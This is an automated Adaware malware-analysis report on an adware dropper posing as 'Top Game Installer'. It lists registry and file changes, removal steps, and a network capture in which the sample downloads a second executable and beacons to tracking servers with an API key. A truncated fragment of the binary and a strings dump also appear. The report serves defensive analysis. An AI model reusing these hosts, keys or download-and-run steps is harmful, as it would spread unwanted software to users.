Gen.Variant.Graftor.264320 (B)_6b698056e3 – Adaware

Gen:Variant.Graftor.264320 (B) (Emsisoft), mzpefinder_pcap_file.YR (Lavasoft MAS)Behaviour: Malware

The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.

Summary

MD5: 6b698056e3a5dd0c9af1ccf68edb1844

SHA1: 6d0cb38c6e5d1cdf5156f5c3dad1b8e7fa0515a8

SHA256: d8595e191c1d85849856e8a6ee3f42e7bdc038299f7004e0bfe3c0e69ca6d07e

SSDeep: 24576:4p8 jfnMMgTpqKEKRQkbT9XCwP0pa6LQd:5KgIYekbpCL

Size: 823808 bytes

File type: EXE

Platform: WIN32

Entropy: Not Packed

PEID: UPolyXv05_v6

Company: no certificate found

Created at: 2016-01-03 14:34:00

Analyzed on: WindowsXP SP3 32-bit

Summary: Malware. Malware, short for malicious software, is any software used to disrupt computer operation, gather sensitive information, or gain access to private computer systems.

Dynamic Analysis

Payload

No specific payload has been found.

Process activity

The Malware creates the following process(es):

dwwin.exe:1792
%original file name%.exe:188
uninstallmodule.exe:1312

The Malware injects its code into the following process(es):No processes have been created.

Mutexes

The following mutexes were created/opened:No objects were found.

File activity

The process dwwin.exe:1792 makes changes in the file system.

The Malware creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\72C0F.dmp (74488 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\0LY74T2N\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\History\History.IE5\desktop.ini (159 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\09ARGLAN\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WH67O1AB\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\49AFCHMF\desktop.ini (67 bytes)

The process %original file name%.exe:188 makes changes in the file system.

The Malware creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\uninstallmodule.exe.tmp (117164 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\_uninsep.bat (180 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\uninstallmodule.exe (6841 bytes)

The process uninstallmodule.exe:1312 makes changes in the file system.

The Malware creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\2e35_appcompat.txt (1979 bytes)

The Malware deletes the following file(s):

Registry activity

The process dwwin.exe:1792 makes changes in the system registry.

The Malware creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "9F 82 73 DA E7 51 AF E0 01 85 00 D8 C3 27 54 3A"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1B 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Malware deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process %original file name%.exe:188 makes changes in the system registry.

The Malware creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "01 7E F0 04 C4 13 59 E1 58 80 44 CF CD 8E 34 08"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp]
"_uninsep.bat" = "_uninsep"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp]
"uninstallmodule.exe" = "uninstallmodule"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

The Malware modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Malware modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

"UNCAsIntranet" = "1"

The Malware modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

The Malware deletes the following value(s) in system registry:

The Malware disables automatic startup of the application by deleting the following autorun value:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce]
"IDSCPRODUCT"

The process uninstallmodule.exe:1312 makes changes in the system registry.

The Malware creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "D7 D1 FB 3A 2F D2 93 DC FB B9 F4 BC C8 C6 40 96"

The Malware deletes the following registry key(s):

[HKLM\SOFTWARE\Microsoft\PCHealth\ErrorReporting\DW]

The Malware deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Microsoft\PCHealth\ErrorReporting\DW]
"DWFileTreeRoot"

Dropped PE files

MD5	File path
ea8c1b5d9f7b766e04ff296758ae02db	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\uninstallmodule.exe
ea8c1b5d9f7b766e04ff296758ae02db	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\uninstallmodule.exe.tmp

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

Removals

Remove it with Ad-Aware

Click (here) to download and install Ad-Aware Free Antivirus.
Update the definition files.
Run a full scan of your computer.

Manual removal*

Terminate malicious process(es) (How to End a Process With the Task Manager):
dwwin.exe:1792
%original file name%.exe:188
uninstallmodule.exe:1312
Delete the original Malware file.
Delete or disinfect the following files created/modified by the Malware:
%Documents and Settings%\%current user%\Local Settings\Temp\72C0F.dmp (74488 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\0LY74T2N\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\History\History.IE5\desktop.ini (159 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\09ARGLAN\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WH67O1AB\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\49AFCHMF\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\uninstallmodule.exe.tmp (117164 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\_uninsep.bat (180 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\2e35_appcompat.txt (1979 bytes)
Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

Static Analysis

VersionInfo

Company Name: Top Game Installer
Product Name: Top Game Installer
Product Version: 1.0
Legal Copyright: Top Game Installer
Legal Trademarks:
Original Filename: Top Game Installer.exe
Internal Name: Top Game Installer
File Version: 1.0
File Description: Top Game Installer
Comments:
Language: English (United States)

Company Name: Top Game InstallerProduct Name: Top Game InstallerProduct Version: 1.0 Legal Copyright: Top Game InstallerLegal Trademarks: Original Filename: Top Game Installer.exeInternal Name: Top Game InstallerFile Version: 1.0 File Description: Top Game InstallerComments: Language: English (United States)

PE Sections

Name	Virtual Address	Virtual Size	Raw Size	Entropy	Section MD5
.text	4096	702060	702464	4.26656	872a4311b4f04b91e77fcabfc8c75fd4
.data	708608	23332	23552	0.102108	e3722ae2888a173fac747fa23416d532
.rdata	733184	62316	62464	3.87544	e794f88d7003d380c5e619d0467372ce
.bss	798720	4096	0	0	d41d8cd98f00b204e9800998ecf8427e
.edata	802816	1605	2048	3.09592	f6c3ffcf4bc4ecd0141b983194984f04
.idata	806912	6224	6656	3.55701	8d96631479e9195377a207719f07d8fc
.CRT	815104	56	512	0.221488	94975933fb719c11f3a8757e452a06ce
.tls	819200	32	512	0.14174	b94bb441a067f954ca855273080a7f2c
.rsrc	823296	856	1024	1.8821	1a990b6f248f4cf9ed3f54d7b877969d
.reloc	827392	23424	23552	4.62583	480352dda9b78ba51a5dbe9b21107584

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Total found: 4
a29bc8041686f1a5addc38c606566046
6997062bef9e3f1ffad6241614ec155d
4518170f190485d4946b7f2ca7f4f471
292c0b3f5638e005d154a98c532e8218

Network Activity

URLs

URL	IP
hxxp://agent.wizztrakys.com/csdi/wizzmonetize/buying_uninstaller_{	151.80.19.137
hxxp://dl.wizzuniquify.com/download/1/wizzuninstallmodule.exe	37.187.137.148
hxxp://www.wizzmonetize.com/remotes_xml_sections.php	149.202.85.170
hxxp://agent.wizztrakys.com/csdi/wizzmonetize/buying_uninstaller_{..\|...\|.."_{..\|...\|.."_{..\|...\|.."_wizzuninstallmodule_download_succeed	151.80.19.137
hxxp://agent.wizztrakys.com/csdi/wizzmonetize/buying_uninstaller_{..\|...\|.."_{..\|...\|.."_{..\|...\|.."_wizzuninstallmodule_execute_succeed	151.80.19.137
hxxp://agent.wizztrakys.com/csdi/wizzmonetize/buying_uninstaller_{..\|...\|.."_{..\|...\|.."_{..\|...\|.."_wizzuninstallmodule_download_start	151.80.19.137
hxxp://agent.wizztrakys.com/csdi/wizzmonetize/buying_uninstaller_{..\|...\|.."_{..\|...\|.."_{..\|...\|.."_start	151.80.19.137
hxxp://agent.wizztrakys.com/csdi/wizzmonetize/buying_uninstaller_{..\|...\|.."_{..\|...\|.."_{..\|...\|.."_end	151.80.19.137

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

POST /csdi/wizzmonetize/buying_uninstaller_{..|...|.."_{..|...|.."_{..|...|.."_end HTTP/1.1

Host: agent.wizztrakys.com

Accept: */*

Content-Length: 59

Content-Type: application/x-www-form-urlencoded

user_name=csdi&api_key=e3b93cef-8bd4-11e5-8538-0cc47a47968c

HTTP/1.1 200 OK

Date: Sat, 27 Feb 2016 17:56:25 GMT

Server: Apache/2.4.10 (Debian)

Set-Cookie: PHPSESSID=65gmlinob9ludpp7copm78qev5; path=/

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

Pragma: no-cache

Content-Length: 29

Content-Type: text/html; charset=UTF-8

{"message":"Track was added"}..

POST /csdi/wizzmonetize/buying_uninstaller_{..|...|.."_{..|...|.."_{..|...|.."_wizzuninstallmodule_download_succeed HTTP/1.1

Host: agent.wizztrakys.com

Accept: */*

Content-Length: 59

Content-Type: application/x-www-form-urlencoded

user_name=csdi&api_key=e3b93cef-8bd4-11e5-8538-0cc47a47968c

HTTP/1.1 200 OK

Date: Sat, 27 Feb 2016 17:56:24 GMT

Server: Apache/2.4.10 (Debian)

Set-Cookie: PHPSESSID=orsf17bhscv0u8sd2v41u2gkg7; path=/

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

Pragma: no-cache

Content-Length: 29

Content-Type: text/html; charset=UTF-8

{"message":"Track was added"}..

GET /download/1/wizzuninstallmodule.exe HTTP/1.1

Host: dl.wizzuniquify.com

Accept: */*

HTTP/1.1 200 OK

Date: Sat, 27 Feb 2016 17:56:23 GMT

Server: Apache/2.4.10 (Debian)

Cache-Control: no-cache

Set-Cookie: laravel_session=eyJpdiI6IkY4b1wvNk1tb2ZEMTcrMndUbjh3UnFBPT0iLCJ2YWx1ZSI6ImdteUNJWGFMajMwZVJ6VjNrb1poYlwveWdwa0N5WGFNbUFROXJLMlV1VkxNeEhoMmNvT3Y3VnBlZ1RcLzZDbnpuNUc0Z2VJSHMxcmF0R2k5aDdRZzVESVE9PSIsIm1hYyI6IjMwYjQ0NWNiNThlOWRkYzhlYmY4NmExNGVhODlmZWFkZmRiOTQ2NmViNmMyMDVkNzY2ODAzNzZkMDUyMWVhZDMifQ==; expires=Sat, 27-Feb-2016 19:56:23 GMT; Max-Age=7200; path=/; httponly

Transfer-Encoding: chunked

Content-Type: application/x-msdownload

df600..MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L............................................ ....@..........................P................ .........................<.......................................0f......................................................D............................text...............................`.P`.data...d[... ...\..................@.p..rdata...............l..............@.p@.bss..................................p..edata..<............l..............@.0@.idata...............t..............@.0..CRT....8...........................@.0..tls.... ...........................@.0..reloc..0f.......h..................@.0B....................................................................................................................................................................................................................................................................................................&......'.......1.f.=..@.MZ..l.M.......h.M.......d.M.......t.M.....th...M..x.M...tJ..$.....n'....$.....2'....|.M....M....M..@.M.....)...=. L..tm1.......&......$.....$'....f...<.@.....@.PE......@.u...Q.f....t?f......j............].........1.......K....v...$.:D...)..1......yt...,.........1...........f...,...M..D$...M..D$...M..D$...M...$..M....M....M..D$..n&.....M...,.........'....U1........WV.U.S....|...0.25..)..D$...........@......@......@......@......@......@......@.........5x.M.........d

<<< skipped >>>

POST /csdi/wizzmonetize/buying_uninstaller_{..|...|.."_{..|...|.."_{..|...|.."_start HTTP/1.1

Host: agent.wizztrakys.com

Accept: */*

Content-Length: 59

Content-Type: application/x-www-form-urlencoded

user_name=csdi&api_key=e3b93cef-8bd4-11e5-8538-0cc47a47968c

HTTP/1.1 200 OK

Date: Sat, 27 Feb 2016 17:56:23 GMT

Server: Apache/2.4.10 (Debian)

Set-Cookie: PHPSESSID=lsgoaqljrckbv10bj66tc6scn6; path=/

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

Pragma: no-cache

Content-Length: 29

Content-Type: text/html; charset=UTF-8

{"message":"Track was added"}..

POST /remotes_xml_sections.php HTTP/1.1

Host: VVV.wizzmonetize.com

Accept: */*

Content-Length: 124

Content-Type: application/x-www-form-urlencoded

remote_id=4&user_name=csdi&api_key=azaez-azezae-azeaze-azeaze&buying_product_name=&buying_partner_name=&buying_channel_name=

HTTP/1.1 200 OK

Date: Sat, 27 Feb 2016 17:56:25 GMT

Server: Apache/2.4.10 (Debian)

Set-Cookie: PHPSESSID=ld6niar4e1kpfud2t9c6gp7oh3; path=/

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

Pragma: no-cache

Vary: Accept-Encoding

Content-Length: 92

Content-Type: text/html; charset=UTF-8

PGVycm9yIHZhbHVlPSJVbmtvd24gRXhjZXB0aW9uOiBObyBidXlpbmcgcHJvZHVjdCBuYW1lIHdhcyBkZXRlY3RlZCI ..

POST /csdi/wizzmonetize/buying_uninstaller_{..|...|.."_{..|...|.."_{..|...|.."_wizzuninstallmodule_execute_succeed HTTP/1.1

Host: agent.wizztrakys.com

Accept: */*

Content-Length: 59

Content-Type: application/x-www-form-urlencoded

user_name=csdi&api_key=e3b93cef-8bd4-11e5-8538-0cc47a47968c

HTTP/1.1 200 OK

Date: Sat, 27 Feb 2016 17:56:25 GMT

Server: Apache/2.4.10 (Debian)

Set-Cookie: PHPSESSID=ogcoanhpa4cipandifs8lf4p60; path=/

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

Pragma: no-cache

Content-Length: 29

Content-Type: text/html; charset=UTF-8

{"message":"Track was added"}..

POST /csdi/wizzmonetize/buying_uninstaller_{..|...|.."_{..|...|.."_{..|...|.."_wizzuninstallmodule_download_start HTTP/1.1

Host: agent.wizztrakys.com

Accept: */*

Content-Length: 59

Content-Type: application/x-www-form-urlencoded

user_name=csdi&api_key=e3b93cef-8bd4-11e5-8538-0cc47a47968c

HTTP/1.1 200 OK

Date: Sat, 27 Feb 2016 17:56:23 GMT

Server: Apache/2.4.10 (Debian)

Set-Cookie: PHPSESSID=7ievgbrl2hrdp656o2g5n8vr42; path=/

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

Pragma: no-cache

Content-Length: 29

Content-Type: text/html; charset=UTF-8

{"message":"Track was added"}..

Map

The Malware connects to the servers at the folowing location(s):

Strings from Dumps

uninstallmodule.exe_1312:

.text

P`.data

.rdata

p@.bss

.edata

0@.idata

.reloc

-0123456789

XMLDocument error id=%d '%s' str1=%s str2=%s

%s>

%s?>

config.cfg

%s: __pos (which is %zu) > this->size() (which is %zu)

&api_key=

CFG: Can only have unique key names!

workXML.xml

hXXp://VVV.wizzmonetize.com/remotes_xml_sections.php

getpeername() failed with errno %d: %s

getsockname() failed with errno %d: %s

ssrem inet_ntop() failed with errno %d: %s

ssloc inet_ntop() failed with errno %d: %s

sa_addr inet_ntop() failed with errno %d: %s

Trying %s...

Could not set TCP_NODELAY: %s

TCP_NODELAY set

Failed to set SO_KEEPALIVE on fd %d

Failed to set SIO_KEEPALIVE_VALS on fd %d: %d

Local Interface %s is ip %s using address family %i

Name '%s' family %i resolved to '%s' family %i

Local port: %hu

Bind to local port %hu failed, trying next

bind failed with errno %d: %s

Immediate connect fail for %s: %s

Couldn't bind to '%s'

Couldn't bind to interface '%s'

connect to %s port %ld failed: %s

Failed to connect to %s port %ld: %s

[%s %s %s]

Send failure: %s

Recv failure: %s

Write callback asked for PAUSE when not supported!

Could not resolve %s: %s

%s:%d

Hostname %s was found in DNS cache

%5[^:]:%d

Couldn't parse CURLOPT_RESOLVE removal entry '%s'!

%5[^:]:%d:%5s

Couldn't parse CURLOPT_RESOLVE entry '%s'!

Address in '%s' found illegal!

Added %s:%d:%s to DNS cache

IDN support not present, can't parse Unicode domains

CURLOPT_SSL_VERIFYHOST no longer supports 1 as value!

Connected to %s (%s) port %ld (#%ld)

User-Agent: %s

smtp

Illegal characters found in URL

[^:]:%[^

:]://%[^

malformed

SMTP.

Rebuilt URL to: %s

Please URL encode %% as %%, see RFC 6874.

Protocol "%s" not supported or disabled in libcurl

%s://%s

http_proxy

[%*45[0123456789abcdefABCDEF:.]%c

;type=%c

%s://%s%s%s:%hu%s%s%s

Port number out of range

Couldn't find host %s in the _netrc file; using defaults

PTF@example.com

Found bundle for host %s: %p

Server doesn't support multi-use yet, wait

Server doesn't support multi-use (yet)

Pipe is full, skip (%zu)

Multiplexed connection found!

Found connection %ld, with requests in the pipe (%zu)

Re-using existing connection! (#%ld) with %s %s

No more connections allowed to host: %d

Couldn't resolve host '%s'

Couldn't resolve proxy '%s'

Connection #%ld to host %s left intact

Curl_poll(%d ds, %d ms)

Internal error clearing splay node = %d

Internal error removing splay node = %d

Pipe broke: handle %p, url = %s

In state %d with no easy_conn, bail out!

Operation timed out after %ld milliseconds with %I64d out of %I64d bytes received

Operation timed out after %ld milliseconds with %I64d bytes received

#HttpOnly_

%s%s%s

23[^;

=] =I99[^;

httponly

skipped cookie with bad tailmatch domain: %s

%s cookie %s="%s" for domain %s, path %s, expire %I64d

ignoring failed cookie_init for %s

# Netscape HTTP Cookie File

# hXXp://curl.haxx.se/docs/http-cookies.html

# This file was generated by libcurl! Edit at your own risk.

# Fatal libcurl error

WARNING: failed to save cookies in %s

%d.%d.%d.%d

CURLSHcode unknown

Protocol option is unsupported

Protocol is unsupported

Socket is unsupported

Operation not supported

Address family not supported

Protocol family not supported

Winsock version not supported

Unknown error %d (%#x)

Please call curl_multi_perform() soon

Unsupported protocol

URL using bad/illegal format or missing URL

A requested feature, protocol or option was not found built-in in this libcurl due to a build-time decision.

FTP: weird server reply

FTP: The server failed to connect to data port

FTP: unknown PASS reply

FTP: Accepting server connect has timed out

FTP: unknown PASV reply

FTP: unknown 227 response format

FTP: can't figure out the host in the PASV response

Error in the HTTP2 framing layer

FTP: couldn't set file type

FTP: couldn't retrieve (RETR failed) the specified file

HTTP response code said error

FTP: command PORT failed

FTP: command REST failed

Operation was aborted by an application callback

A libcurl function was given a bad argument

An unknown option was passed in to libcurl

SSL peer certificate or SSH remote key was not OK

Problem with the local SSL certificate

Peer certificate cannot be authenticated with given CA certificates

Unrecognized or bad HTTP Content or Transfer-Encoding

Invalid LDAP URL

TFTP: File Not Found

TFTP: Access Violation

TFTP: Illegal operation

TFTP: Unknown transfer ID

TFTP: No such user

Caller must register CURLOPT_CONV_ callback options

Problem with the SSL CA cert (path? access rights?)

Error in the SSH layer

Issuer check against peer certificate failed

FTP: The server did not accept the PRET command.

Unable to parse FTP file list

SSL public key does not match pinned public key

SSL server certificate status verification FAILED

0123456789

%3I64d %s %3I64d %s %3I64d %s %s %s %s %s %s %s

HTTP/

Avoided giant realloc for header (max is %d)!

%s:%s

%sAuthorization: Basic %s

%s auth using %s with user '%s'

The requested URL returned error: %d

%s, d %s M d:d:d GMT

If-Modified-Since: %s

If-Unmodified-Since: %s

Last-Modified: %s

Referer: %s

Accept-Encoding: %s

Host: %s%s%s

Host: %s%s%s:%hu

PTF://

Range: bytes=%s

Content-Range: bytes %s%I64d/%I64d

Content-Range: bytes %s/%I64d

PTF://%s:%s@%s

%s HTTP/%s

%s%s%s%s%s%s%s%s%s%s%s

%s%s=%s

Internal HTTP POST error!

Content-Type: application/x-www-form-urlencoded

Failed sending HTTP POST request

Failed sending HTTP request

Chunky upload is not supported by HTTP 1.0

Connection closure while negotiating auth (HTTP 1.0?)

HTTP error before end of send, stop sending

HTTP/%d.%d %d

Lying server, not serving HTTP/2

HTTP =

RTSP/%d.%d =

The requested URL returned error: %s

HTTP 1.0, assume close after body

HTTP/1.0 proxy connection set to keep alive!

HTTP/1.1 proxy connection set close!

HTTP/1.0 connection set to keep alive!

%%X

%sAuthorization: Digest %s

%sAuthorization: NTLM %s

Conn: %ld (%p) Receive pipe weight: (%I64d/%zu), penalized: %s

Site %s:%d is pipeline blacklisted

Server %s is blacklisted

SOCKS4 communication to %s:%d

SOCKS4 connect to %s (locally resolved)

Failed to resolve "%s" for SOCKS4 connect.

SOCKS4%s request granted.

Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), request rejected or failed.

Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), request rejected because SOCKS server cannot connect to identd on the client.

Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), request rejected because the client program and identd report different user-ids.

Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), Unknown.

User was rejected by the SOCKS5 server (%d %d).

SOCKS5 GSSAPI per-message authentication is not supported.

No authentication method was acceptable. (It is quite likely that the SOCKS5 server wanted a username/password, since none was supplied to the server on this connection.)

Failed to resolve "%s" for SOCKS5 connect.

Can't complete SOCKS5 connection to %d.%d.%d.%d:%d. (%d)

Can't complete SOCKS5 connection to %s:%d. (%d)

Can't complete SOCKS5 connection to xx:xx:xx:xx:xx:xx:xx:xx:%d. (%d)

Establish HTTP proxy tunnel to %s:%hu

%s:%hu

%s%s%s:%hu

Host: %s

CONNECT %s HTTP/%s

%s%s%s%s

HTTP/1.%d %d

TUNNEL_STATE switched to: %d

Received HTTP code %d from proxy after CONNECT

Operation too slow. Less than %ld bytes/sec transferred the last %ld seconds

password

operation aborted by callback

Read callback asked for PAUSE when not supported!

seek callback returned error %d

the ioctl callback returned %d

ioctl callback returned error %d

Rewinding stream by : %zd bytes on url %s (zero-length body)

Excess found in a non pipelined read: excess = %zd url = %s (zero-length body)

HTTP server doesn't seem to support byte ranges. Cannot resume.

Simulate a HTTP 304 response!

%s in chunked-encoding

Rewinding stream by : %zu bytes on url %s (size = %I64d, maxdownload = %I64d, bytecount = %I64d, nread = %zd)

Excess found in a non pipelined read: excess = %zu, size = %I64d, maxdownload = %I64d, bytecount = %I64d

No URL set!

[^?&/:]://%c

Issue another request to this URL: '%s'

Disables POST, goes with %s

d:d:d

d:d

------------------------xx

; filename="%s"

%s; boundary=%s

Content-Type: multipart/mixed; boundary=%s

Content-Type: %s

couldn't open file "%s"

--%s--

.jpeg

.html

%c%c==

%c%c%c=

%c%c%c%c

user=%s

auth=Bearer %s

%s/%s

xxxx

username="%s",realm="%s",nonce="%s",cnonce="%s",nc="%s",digest-uri="%s",response=%s,qop=%s

%s:%s:%s

%s:%s:x:%s:%s:%s

username="%s", realm="%s", nonce="%s", uri="%s", cnonce="%s", nc=x, qop=%s, response="%s"

username="%s", realm="%s", nonce="%s", uri="%s", response="%s"

%s, opaque="%s"

%s, algorithm="%s"

%s xxxxxxxxxxxxxxxx

Unsupported SASL authentication mechanism

NTLMSSP%c

%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%s%s

%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c

not enough space for format expansion (Please submit full bug report at hXXp://gcc.gnu.org/bugs.html):

%m/%d/%y

%H:%M:%S

operator

global constructors keyed to

global destructors keyed to

operator""

_matherr(): %s in %s(%g, %g) (retval=%g)

VirtualQuery failed for %d bytes at address %p

VirtualProtect failed with code 0x%x

Unknown pseudo relocation protocol version %d.

Unknown pseudo relocation bit size %d.

use_fc_key

fc_key

Assertion failed: (%s), file %s, line %d

M%p %d %s

M%p %d V=%0X B=%d t=%d o=%d C=%d R=%d H=%p %s

once %p is %d

_pthread_key_dest_shmem

_pthread_key_lock_shmem

_pthread_key_max_shmem

_pthread_key_sch_shmem

T%p %d %s

T%p %d V=%0X H=%p %s

C%p %d %s

C%p %d V=%0X w=%ld %s

RWL%p %d %s

RWL%p %d V=%0X B=%d r=%ld w=%ld L=%p %s

GCC: (GNU) 4.9.2

